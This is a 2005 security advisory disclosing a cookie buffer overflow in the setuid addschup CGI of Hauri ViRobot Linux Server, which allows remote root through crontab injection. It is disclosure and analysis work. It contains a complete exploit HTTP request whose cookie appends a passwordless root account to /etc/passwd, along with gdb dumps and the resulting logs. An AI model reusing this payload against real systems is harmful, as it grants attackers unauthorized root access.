DMA[2005-0614a] - 'Global Hauri ViRobot Server cookie overflow'
Author: Kevin Finisterre
Vendor: http://www.globalhauri.com
Product: 'ViRobot Linux (and Unix?) Server'
References:
http://www.digitalmunition.com/DMA[2005-0614a].txt
Description:
HAURI, Inc. is a leading anti-virus solution provider in the global market.
The "ViRobot" which was developed exclusively by HAURI, is an excellent and
powerful anti-virus that uses a unique type of detection engine technology
to detect the latest viruses and to repair files infected with those viruses.
The HAURI anti-virus technology is regarded highly in Korea and has received
rave reviews from all over the world.
HAURI has a customer base in multiple parts of the world:
US & Canada : Global HAURI Inc. - http://www.globalhauri.com
Singapore : HAURI ASIA Pte Ltd. - http://www.hauri.com.sg
Japan : HAURI JAPAN Inc. - http://www.hauri.co.jp
China : China Blue Star Hauri Technology Co., Ltd. - http://www.hauri.com.cn
Latin/Mexico : HAURI Latinoamerica S.A. - http://www.haurilatin.com
Latin/Brazil : Hauri do Brazil - http://www.haurilatin.com
Europe : Hauri Europe GmbH - http://www.hauri-europe.com
Korea : HAURI Inc. - http://www.hauri.co.kr
HAURI, Inc. is also a GSA Schedule compatible company.
Our testing was performed against the 60 Day ViRobot trial located at:
http://www.globalhauri.com/html/download/down_linux_end.html
b37ae48a9c46985a753f5d28588753c2 /home/kfinisterre/linux_eng_60days.tar.gz
Both ViRobot Unix Server and ViRobot Linux Server have a user-friendly web-based
control interface. Access control is built into the system to ensure that only
authorized personnel can have control of the server. Unfortunately the system
makes use of cookie based authentication in an insecure manor.
During our trial run we found that the /usr/local/ViRobot/cgi-bin/addschup binary
is vulnerable to a trivial remote expoit. In order to explain the bug we can make
use of multiple exported variables to simulate a remote request. Below we show
the environmental conditions necessary to exploit addschup remotely.
The fact that addschup is setuid helps make this both a local and remote root.
jdam:/usr/local/ViRobot/cgi-bin# ls -al addschup
-rwsr-sr-x 1 root staff 26484 2005-01-05 01:30 addschup
We need to set the following variables in order to behave as if a browser request
was made.
kfinisterre@jdam:/tmp$ export REMOTE_ADDR=127.0.0.1
kfinisterre@jdam:/tmp$ export REQUEST_METHOD=POST
kfinisterre@jdam:/tmp$ export CONTENT_TYPE=application/x-www-form-urlencoded
kfinisterre@jdam:/tmp$ export CONTENT_LENGTH=1
kfinisterre@jdam:/tmp$ export PATH=$PATH:/sbin:/usr/sbin
At this point the cgi binary should run however it will complain that we have
not authenticated.
You need to authenticate.
>From the usage of ltrace we found that the request for authentication is checked via
a cookie with the paramaters "ViRobot_ID" and "ViRobot_PASS". The ViRobot_PASS is
optional for exploitation. For the time being setting the ViRobot_ID to a string of
36 chars should work just fine.
kfinisterre@jdam:/tmp$ export HTTP_COOKIE=ViRobot_ID=<36 chars>
Because we set out CONTENT_LENGTH to 1 earlier we must send at least one char to the
stdin of the addschup binary. When addschup is satisfied with all environment of the
variables and the input from stdin it will attempt to create a crontab file for root.
Since we are running the program as a regular binary rather than as a cgi the output
html that the web browser should recieve is dumped to the terminal.
kfinisterre@jdam:/usr/local/ViRobot/cgi-bin$ echo a | ./addschup
Content-type:text/html
In the above example we chose to use a ViRobot_ID of 36 chars. We did this in order
to outline the basis of the vulnerability. As mentioned above addschup attempts to add
the scheduled update to roots crontab in /var/spool/cron/root. Unfortunately the
author of ViRobot made use of a small buffer to hold the username from the cookie data.
Because of this some of our userinput has spilled over into the buffer that is supposed
to contain the entry that will be placed in the crontab file. The result as you can see
is a string of four A's in roots crontab just before the vrupdate command.
The above example causes a root crontab entry with malicious userinput.
kfinisterre@jdam:/usr/local/ViRobot/cgi-bin$ cat /var/spool/cron/root
* * * * * AAAA/ViRobot/vrupdate -s > /dev/null 2>&1
The below output from gdb outlines the usage of a small 32 byte buffer to store the user
name for ViRobot. The data stored in the username variable comes from the HTTP_COOKIE's
ViRobot_ID field, if this data is longer than 32 chars it will wind up bleeding over
into the install_path variable.
This is an example of a valid username stored in the username buffer:
0x8052e00 : "virobotadmin-aaaaaaaaaaaa"
0x8052e1c : ""
0x8052e1d : ""
0x8052e1e : ""
0x8052e1f : ""
0x8052e20 : "/usr/local"
This however shows an overflown username bleeding into the install path.
0x8052e00 : "virobotadmin-aaaaaaaaaaaa", 'A' ...
0x8052ec8 : 'A' ...
Overflowing the install_path alone is not enough for exploitation. Lucky for us the
install_path is used later on as a prefix for the crontab entry. This data shows what the
cron entry looks like both before and after the overflow of the username field.
0x8052f70: "¼p\025@¼p\025@* /usr/local/ViRobot/vrupdate -s > /dev/null 2>&1\n"
0x8052f70: "¼p\025@¼p\025@* AAAAA/ViRobot/vrupdate -s > /dev/null 2>&1\n"
In essence what happens is that We control the 6th paramater passed to an fprintf call
that uses the following format.
0x804a740 <_IO_stdin_used+572>: "%s %s %s %s %s %s/%s/vrupdate -s > /dev/null 2>&1\n"
Controlling the data that is written to roots crontab obviously gives us some flexibility
for exploitation. Unfortunately we do not have any control over some of the crontab data
however this does not pose any issue when exploiting the condition.
After writing the data to /var/spool/cron/root virobot executes the following commands:
killall crond > /dev/null
/etc/rc.d/init.d/crond restart > /dev/null
If we combine the fact that we can write to roots crontab with the fact that this can all
be done remotely we wind up with a nice exploit.
The above malformed queries can simply be sent via http with the following request:
POST /cgi-bin/addschup HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-length: 1
Cookie: ViRobot_ID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &
The logs on the host being attacked will resemble the following:
in /usr/local/ViRobot/var/apache/access_log:
192.168.1.201 - - [23/Jan/2005:16:51:00 -0500] "POST /cgi-bin/addschup HTTP/1.1" 200 149
in /var/log/messages:
Jan 23 16:51:00 localhost crond: crond startup succeeded
in /var/log/cron:
Jan 23 16:21:44 localhost crond[1779]: (CRON) STARTUP (fork ok)
Jan 23 16:21:45 localhost anacron[1788]: Anacron 2.3 started on 2005-01-23
Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.daily' in 65 min.
Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.weekly' in 70 min.
Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.monthly' in 75 min.
Jan 23 16:21:45 localhost anacron[1788]: Jobs will be executed sequentially
Jan 23 16:50:59 localhost crond[2317]: (CRON) STARTUP (fork ok)
Jan 23 16:51:00 localhost CROND[2322]: (root) CMD (/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &
/ViRobot/vrupdate -s > /dev/null 2>&1)
Jan 23 16:52:00 localhost CROND[2372]: (root) CMD (/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &
/ViRobot/vrupdate -s > /dev/null 2>&1)
in /etc/passwd (per our example).
r00t::0:0:root:/root:/bin/bash
r00t::0:0:root:/root:/bin/bash
Keep in mind that output will be added every minute cron runs unless the attack has been cleaned up.
This has been tested on the default version of Redhat 9 with vixie-cron-3.0.1-74 and Debian 3.1 with
cron-3.0pl1-86. The redhat system was exploited instantly. With debian however the cron package makes
use of /var/spool/cron/crontabs/ which prevents the malformed crontab from being executed. Debian users
with ViRobot may have made their system exploitable in efforts to have full functionality. This could have
been done via "ln -s /var/spool/cron/root/ /var/spool/cron/crontabs/root".
Please note that the addschup is not the only binary that overflows via the above mentioned method. We
found that addschup provided the best remote exploitation. Other binaries may provide other local or remote
attack vectors.
Work Around:
Chmod -s every virobot binary in sight and filter remote access to the web interface.
Timeline associated with this bug:
Wed, 14 Mar 2005 Tired of sitting on the information, public disclosure.
Please note that the vendor was NOT notified based on prior frustrating disclosure attempts.
After the release of SRT2003-08-11-0729 (via SnoSoft) I made the decision to not deal with the company
moving forward.
Thanks to Alex Hernandez for turning me on to this product and the fact that it is full of bugs!
-KF